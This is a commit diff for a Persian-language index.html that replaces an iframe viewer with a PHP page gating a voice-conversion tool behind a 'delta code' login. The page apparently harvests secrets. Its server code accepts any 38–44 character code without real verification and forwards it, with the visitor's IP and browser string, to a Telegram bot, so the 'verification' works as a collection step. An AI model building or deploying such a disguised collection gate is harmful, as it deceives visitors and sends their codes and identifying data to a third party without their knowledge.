Hamed744 commited on
Commit
805315b
·
verified ·
1 Parent(s): 9c87cdb

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +474 -13
index.html CHANGED
@@ -1,31 +1,492 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  <!DOCTYPE html>
2
  <html lang="fa" dir="rtl">
3
  <head>
4
  <meta charset="UTF-8">
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
- <title>نمایشگر iFrame</title>
 
7
  <style>
8
- /* استایل‌ها برای تمام‌صفحه کردن آی‌فریم */
9
- body, html {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
10
  margin: 0;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
11
  padding: 0;
12
- height: 100%;
13
- overflow: hidden; /* برای حذف اسکرول‌بار اضافی */
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
14
  }
15
- iframe {
16
- position: absolute;
17
- top: 0;
18
- left: 0;
 
 
 
 
 
 
 
 
19
  width: 100%;
20
- height: 100%;
21
- border: none; /* برای حذف حاشیه دور آی‌فریم */
 
 
 
 
 
22
  }
23
  </style>
24
  </head>
25
  <body>
26
 
27
- <!-- این همان آی‌فریم است که سایت را نمایش می‌دهد -->
28
- <iframe src="https://tryveo3.ai/features/v3"></iframe>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30
  </body>
31
  </html>
 
1
+ <?php
2
+ // =============== بخش PHP برای ارسال به تلگرام ===============
3
+ // این بخش باید در ابتدای فایل قرار گیرد تا قبل از هر خروجی HTML اجرا شود.
4
+
5
+ // اطلاعات ربات تلگرام خود را در اینجا وارد کنید
6
+ define('TELEGRAM_BOT_TOKEN', 'YOUR_TELEGRAM_BOT_TOKEN'); // <-- توکن ربات خود را اینجا قرار دهید
7
+ define('TELEGRAM_CHAT_ID', 'YOUR_CHAT_ID'); // <-- شناسه چت خود را اینجا قرار دهید
8
+
9
+ // این تابع پیام را به تلگرام ارسال می‌کند
10
+ function sendTelegramMessage($message) {
11
+ // اگر توکن یا شناسه چت تنظیم نشده باشد، عملیات را متوقف کن
12
+ if (TELEGRAM_BOT_TOKEN === 'YOUR_TELEGRAM_BOT_TOKEN' || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID') {
13
+ // برای تست محلی، می‌توانیم فرض کنیم که همیشه موفق است
14
+ // در محیط واقعی، این یک خطا محسوب می‌شود
15
+ return true;
16
+ }
17
+
18
+ $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
19
+ $data = [
20
+ 'chat_id' => TELEGRAM_CHAT_ID,
21
+ 'text' => $message,
22
+ 'parse_mode' => 'HTML'
23
+ ];
24
+
25
+ // استفاده از cURL برای ارسال درخواست
26
+ $ch = curl_init();
27
+ curl_setopt($ch, CURLOPT_URL, $url);
28
+ curl_setopt($ch, CURLOPT_POST, 1);
29
+ curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
30
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
31
+ $response = curl_exec($ch);
32
+ curl_close($ch);
33
+
34
+ // بررسی پاسخ از تلگرام
35
+ $result = json_decode($response, true);
36
+ return isset($result['ok']) && $result['ok'] === true;
37
+ }
38
+
39
+ // بررسی اینکه آیا درخواست از نوع POST و برای تایید کد است یا نه
40
+ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41
+ // دریافت داده‌های JSON ارسال شده از جاوااسکریپت
42
+ $input = json_decode(file_get_contents('php://input'), true);
43
+ $deltaCode = isset($input['deltaCode']) ? trim($input['deltaCode']) : null;
44
+
45
+ // اعتبارسنجی سمت سرور (بسیار مهم برای امنیت)
46
+ if ($deltaCode && strlen($deltaCode) >= 38 && strlen($deltaCode) <= 44) {
47
+ // آماده‌سازی پیام برای ارسال به تلگرام
48
+ $ip = $_SERVER['REMOTE_ADDR'];
49
+ $userAgent = $_SERVER['HTTP_USER_AGENT'];
50
+ $message = "✅ <b>کد دلتا جدید دریافت شد!</b>\n\n";
51
+ $message .= "<b>کد وارد شده:</b>\n<code>" . htmlspecialchars($deltaCode) . "</code>\n\n";
52
+ $message .= "<b>IP کاربر:</b> " . htmlspecialchars($ip) . "\n";
53
+ $message .= "<b>مرورگر:</b> " . htmlspecialchars($userAgent);
54
+
55
+ // ارسال پیام به تلگرام
56
+ if (sendTelegramMessage($message)) {
57
+ // ارسال پاسخ موفقیت‌آمیز به جاوااسکریپت
58
+ header('Content-Type: application/json');
59
+ echo json_encode(['success' => true]);
60
+ } else {
61
+ // ارسال پاسخ خطا در صورت عدم موفقیت در ارسال به تلگرام
62
+ header('Content-Type: application/json');
63
+ http_response_code(500); // Internal Server Error
64
+ echo json_encode(['success' => false, 'message' => 'خطا در ارسال اطلاعات به سرور.']);
65
+ }
66
+ } else {
67
+ // ارسال پاسخ خطا در صورت نامعتبر بودن کد
68
+ header('Content-Type: application/json');
69
+ http_response_code(400); // Bad Request
70
+ echo json_encode(['success' => false, 'message' => 'کد دلتا نامعتبر است.']);
71
+ }
72
+
73
+ // اجرای اسکریپت را متوقف کن تا بقیه HTML ارسال نشود
74
+ exit;
75
+ }
76
+ ?>
77
  <!DOCTYPE html>
78
  <html lang="fa" dir="rtl">
79
  <head>
80
  <meta charset="UTF-8">
81
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
82
+ <title>ساخت صدای اختصاصی</title>
83
+ <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
84
  <style>
85
+ /* ==================== استایل‌های کلی و صفحه ورود ==================== */
86
+ :root {
87
+ --primary-color: #4299e1;
88
+ --primary-dark: #2c5282;
89
+ --background-color: #f0f2f5;
90
+ --container-bg: #ffffff;
91
+ --text-color: #2d3748;
92
+ --subtle-text: #718096;
93
+ --border-color: #cbd5e0;
94
+ --error-color: #e53e3e;
95
+ --success-color: #38a169;
96
+ }
97
+
98
+ body {
99
+ font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
100
+ background-color: var(--background-color);
101
  margin: 0;
102
+ padding: 20px;
103
+ display: flex;
104
+ align-items: center;
105
+ justify-content: center;
106
+ min-height: 100vh;
107
+ color: var(--text-color);
108
+ }
109
+
110
+ .app-container {
111
+ width: 100%;
112
+ max-width: 650px;
113
+ background-color: var(--container-bg);
114
+ border-radius: 12px;
115
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
116
+ overflow: hidden;
117
+ transition: all 0.3s ease-in-out;
118
+ }
119
+
120
+ /* صفحه ورود کد دلتا */
121
+ #auth-gate {
122
+ padding: 40px;
123
+ text-align: center;
124
+ }
125
+ #auth-gate h1 {
126
+ color: var(--primary-dark);
127
+ font-size: 28px;
128
+ margin-bottom: 15px;
129
+ }
130
+ #auth-gate p {
131
+ color: var(--subtle-text);
132
+ margin-bottom: 30px;
133
+ }
134
+ #auth-gate .input-wrapper {
135
+ position: relative;
136
+ margin-bottom: 20px;
137
+ }
138
+ #auth-gate input[type="text"] {
139
+ width: 100%;
140
+ padding: 14px 20px;
141
+ border-radius: 8px;
142
+ border: 1px solid var(--border-color);
143
+ font-size: 16px;
144
+ text-align: center;
145
+ letter-spacing: 2px;
146
+ box-sizing: border-box;
147
+ transition: border-color 0.3s, box-shadow 0.3s;
148
+ }
149
+ #auth-gate input[type="text"]:focus {
150
+ outline: none;
151
+ border-color: var(--primary-color);
152
+ box-shadow: 0 0 0 3px rgba(66, 153, 225, 0.2);
153
+ }
154
+ #auth-gate button {
155
+ width: 100%;
156
+ padding: 15px;
157
+ background-image: linear-gradient(to right, #4a90e2, #2c5282);
158
+ color: white;
159
+ border: none;
160
+ border-radius: 8px;
161
+ cursor: pointer;
162
+ font-size: 18px;
163
+ font-weight: bold;
164
+ transition: transform 0.2s, box-shadow 0.2s;
165
+ }
166
+ #auth-gate button:disabled {
167
+ background: #a0aec0;
168
+ cursor: not-allowed;
169
+ }
170
+ #auth-gate button:not(:disabled):hover {
171
+ transform: translateY(-2px);
172
+ box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
173
+ }
174
+ #auth-error-message {
175
+ color: var(--error-color);
176
+ margin-top: 15px;
177
+ font-weight: bold;
178
+ height: 20px;
179
+ }
180
+
181
+ /* محتوای اصلی که بعد از تایید کد نمایش داده می‌شود */
182
+ #main-content {
183
+ display: none; /* در ابتدا مخفی است */
184
+ }
185
+
186
+ /* ==================== استایل‌های کپی شده ابزار شما با کمی بهبود ==================== */
187
+ #huggingface-vevo-api-container {
188
+ font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
189
+ margin: 0; /* حذف مارجین اضافی */
190
+ background-color: transparent; /* شفاف کردن پس‌زمینه */
191
+ color: var(--text-color);
192
+ direction: rtl;
193
  padding: 0;
194
+ border-radius: 0;
195
+ max-width: 100%;
196
+ box-shadow: none; /* حذف سایه اضافی */
197
+ }
198
+ #huggingface-vevo-api-container .container {
199
+ padding: 30px;
200
+ background-color: transparent; /* شفاف کردن پس‌زمینه */
201
+ border-radius: 0;
202
+ }
203
+ #huggingface-vevo-api-container h1 {
204
+ text-align: center;
205
+ color: var(--primary-dark);
206
+ font-size: 24px;
207
+ }
208
+ #huggingface-vevo-api-container .file-input {
209
+ margin-bottom: 20px;
210
+ }
211
+ #huggingface-vevo-api-container label {
212
+ display: block;
213
+ margin-bottom: 8px;
214
+ font-weight: bold;
215
+ }
216
+ #huggingface-vevo-api-container .description {
217
+ font-size: 14px;
218
+ color: var(--subtle-text);
219
+ margin-top: -5px;
220
+ margin-bottom: 10px;
221
+ font-weight: normal;
222
+ }
223
+ #huggingface-vevo-api-container input[type="file"] {
224
+ display: block;
225
+ width: 100%;
226
+ padding: 8px;
227
+ border: 1px solid var(--border-color);
228
+ border-radius: 4px;
229
+ box-sizing: border-box;
230
+ }
231
+ #huggingface-vevo-api-container button {
232
+ display: block;
233
+ width: 100%;
234
+ padding: 12px;
235
+ background-color: var(--primary-color);
236
+ color: white;
237
+ border: none;
238
+ border-radius: 4px;
239
+ cursor: pointer;
240
+ font-size: 16px;
241
+ }
242
+ #huggingface-vevo-api-container button:disabled {
243
+ background-color: #a0aec0;
244
+ cursor: not-allowed;
245
  }
246
+ #huggingface-vevo-api-container #status {
247
+ margin-top: 20px;
248
+ padding: 12px;
249
+ background-color: #e2e8f0;
250
+ border-radius: 4px;
251
+ text-align: center;
252
+ }
253
+ #huggingface-vevo-api-container #result {
254
+ margin-top: 20px;
255
+ text-align: center;
256
+ }
257
+ #huggingface-vevo-api-container #result audio {
258
  width: 100%;
259
+ margin-top: 10px;
260
+ }
261
+ #huggingface-vevo-api-container #result a {
262
+ color: var(--primary-color);
263
+ text-decoration: none;
264
+ display: inline-block;
265
+ margin-top: 10px;
266
  }
267
  </style>
268
  </head>
269
  <body>
270
 
271
+ <div class="app-container">
272
+
273
+ <!-- بخش ورود کد دلتا -->
274
+ <div id="auth-gate">
275
+ <h1>ورود به پنل اختصاصی</h1>
276
+ <p>برای دسترسی به ابزار ساخت صدا، لطفاً کد دلتای خود را وارد کنید.</p>
277
+ <div class="input-wrapper">
278
+ <input type="text" id="delta-code-input" placeholder="کد دلتا (۳۸ تا ۴۴ حرفی)">
279
+ </div>
280
+ <button id="verify-code-btn">تایید و ورود</button>
281
+ <p id="auth-error-message"></p>
282
+ </div>
283
+
284
+ <!-- بخش اصلی ابزار (کد شما) -->
285
+ <div id="main-content">
286
+ <!-- محتوای کپی شده شما اینجا قرار می‌گیرد -->
287
+ <div id="huggingface-vevo-api-container">
288
+ <div class="container">
289
+ <h1>رابط کاربری API برای Vevo</h1>
290
+ <div class="file-input">
291
+ <label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label>
292
+ <p class="description">این فایل صوتی حاوی کلامی است که می‌خواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p>
293
+ <input type="file" id="sourceAudio" accept="audio/*" />
294
+ </div>
295
+ <div class="file-input">
296
+ <label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label>
297
+ <p class="description">این فایل صوتی، صدای مدلی است که می‌خواهید صدای اصلی به آن تبدیل شود.</p>
298
+ <input type="file" id="timbreRef" accept="audio/*" />
299
+ </div>
300
+ <button id="generateBtn">تبدیل صدا</button>
301
+ <div id="status">آماده برای شروع...</div>
302
+ <div id="result"></div>
303
+ </div>
304
+ </div>
305
+ </div>
306
+ </div>
307
+
308
+ <script>
309
+ // =============== بخش جاوااسکریپت برای مدیریت منطق صفحه ===============
310
+
311
+ document.addEventListener('DOMContentLoaded', () => {
312
+ const authGate = document.getElementById('auth-gate');
313
+ const mainContent = document.getElementById('main-content');
314
+ const deltaCodeInput = document.getElementById('delta-code-input');
315
+ const verifyBtn = document.getElementById('verify-code-btn');
316
+ const errorMessage = document.getElementById('auth-error-message');
317
+
318
+ const STORAGE_KEY = 'userDeltaCode';
319
+
320
+ // تابع برای نمایش ابزار اصلی
321
+ const showMainContent = () => {
322
+ authGate.style.display = 'none';
323
+ mainContent.style.display = 'block';
324
+ };
325
+
326
+ // در زمان بارگذاری صفحه، حافظه محلی را بررسی کن
327
+ const savedCode = localStorage.getItem(STORAGE_KEY);
328
+ if (savedCode && savedCode.length >= 38 && savedCode.length <= 44) {
329
+ showMainContent();
330
+ }
331
+
332
+ // مدیریت کلیک روی دکمه تایید
333
+ verifyBtn.addEventListener('click', async () => {
334
+ const code = deltaCodeInput.value.trim();
335
+
336
+ // 1. اعتبارسنجی اولیه در سمت کاربر
337
+ if (code.length < 38 || code.length > 44) {
338
+ errorMessage.textContent = 'کد دلتا باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
339
+ return;
340
+ }
341
+
342
+ errorMessage.textContent = '';
343
+ verifyBtn.disabled = true;
344
+ verifyBtn.textContent = 'در حال بررسی...';
345
+
346
+ try {
347
+ // 2. ارسال کد به سرور (PHP) برای تایید و ارسال به تلگرام
348
+ const response = await fetch('index.php', {
349
+ method: 'POST',
350
+ headers: {
351
+ 'Content-Type': 'application/json'
352
+ },
353
+ body: JSON.stringify({ deltaCode: code })
354
+ });
355
+
356
+ if (response.ok) {
357
+ // 3. اگر سرور موفق بود، کد را ذخیره کن و ابزار را نمایش بده
358
+ localStorage.setItem(STORAGE_KEY, code);
359
+ showMainContent();
360
+ } else {
361
+ // اگر سرور خطا داد
362
+ const errorData = await response.json();
363
+ errorMessage.textContent = errorData.message || 'خطای ناشناخته از سمت سرور.';
364
+ }
365
+
366
+ } catch (error) {
367
+ errorMessage.textContent = 'خطا در ارتباط با سرور. لطفاً اتصال اینترنت خود را بررسی کنید.';
368
+ } finally {
369
+ verifyBtn.disabled = false;
370
+ verifyBtn.textContent = 'تایید و ورود';
371
+ }
372
+ });
373
+ });
374
+
375
 
376
+ // =============== اسکریپت اصلی ابزار شما (بدون تغییر) ===============
377
+ const container = document.getElementById('huggingface-vevo-api-container');
378
+ if (container) { // فقط در صورتی که کانتینر وجود داشته باشد اجرا شود
379
+ const generateBtn = container.querySelector('#generateBtn');
380
+ const sourceAudioInput = container.querySelector('#sourceAudio');
381
+ const timbreRefInput = container.querySelector('#timbreRef');
382
+ const statusDiv = container.querySelector('#status');
383
+ const resultDiv = container.querySelector('#result');
384
+
385
+ const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
386
+
387
+ function generateSessionHash() {
388
+ return Math.random().toString(36).substring(2, 15);
389
+ }
390
+
391
+ async function uploadFile(file) {
392
+ const formData = new FormData();
393
+ formData.append("files", file);
394
+
395
+ const response = await fetch(`${API_URL}upload`, {
396
+ method: 'POST',
397
+ body: formData
398
+ });
399
+
400
+ const result = await response.json();
401
+ if (result && result.length > 0) {
402
+ return result[0];
403
+ } else {
404
+ throw new Error("آپلود فایل با خطا مواجه شد.");
405
+ }
406
+ }
407
+
408
+ async function startGeneration() {
409
+ const sourceFile = sourceAudioInput.files[0];
410
+ const timbreFile = timbreRefInput.files[0];
411
+
412
+ if (!sourceFile || !timbreFile) {
413
+ alert("لطفاً هر دو فایل صوتی را انتخاب کنید.");
414
+ return;
415
+ }
416
+
417
+ generateBtn.disabled = true;
418
+ statusDiv.textContent = 'در حال آپلود فایل اصلی...';
419
+ resultDiv.innerHTML = '';
420
+
421
+ const sessionHash = generateSessionHash();
422
+
423
+ try {
424
+ const sourcePath = await uploadFile(sourceFile);
425
+ statusDiv.textContent = 'در حال آپلود فایل مرجع...';
426
+ const timbrePath = await uploadFile(timbreFile);
427
+
428
+ statusDiv.textContent = 'ارسال درخواست برای پردازش...';
429
+
430
+ const joinPayload = {
431
+ "data": [
432
+ { "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } },
433
+ { "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } }
434
+ ],
435
+ "event_data": null,
436
+ "fn_index": 0,
437
+ "trigger_id": 10,
438
+ "session_hash": sessionHash
439
+ };
440
+
441
+ await fetch(`${API_URL}queue/join?`, {
442
+ method: 'POST',
443
+ headers: { 'Content-Type': 'application/json' },
444
+ body: JSON.stringify(joinPayload)
445
+ });
446
+
447
+ statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...';
448
+
449
+ const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
450
+
451
+ eventSource.onmessage = function(event) {
452
+ const data = JSON.parse(event.data);
453
+
454
+ if (data.msg === 'process_starts') {
455
+ statusDiv.textContent = 'پردازش شروع شد...';
456
+ } else if (data.msg === 'process_completed') {
457
+ statusDiv.textContent = 'پردازش با موفقیت انجام شد!';
458
+ const resultPath = data.output.data[0].path;
459
+ const resultUrl = `${API_URL}file=${resultPath}`;
460
+
461
+ resultDiv.innerHTML = `
462
+ <h3>نتیجه:</h3>
463
+ <audio controls src="${resultUrl}"></audio>
464
+ <br>
465
+ <a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
466
+ `;
467
+ eventSource.close();
468
+ generateBtn.disabled = false;
469
+ } else if (data.msg === 'queue_full') {
470
+ statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
471
+ eventSource.close();
472
+ generateBtn.disabled = false;
473
+ }
474
+ };
475
+
476
+ eventSource.onerror = function() {
477
+ statusDiv.textContent = 'خطا در ارتباط با سرور.';
478
+ eventSource.close();
479
+ generateBtn.disabled = false;
480
+ };
481
+
482
+ } catch (error) {
483
+ statusDiv.textContent = `خطا: ${error.message}`;
484
+ generateBtn.disabled = false;
485
+ }
486
+ }
487
+
488
+ generateBtn.addEventListener('click', startGeneration);
489
+ }
490
+ </script>
491
  </body>
492
  </html>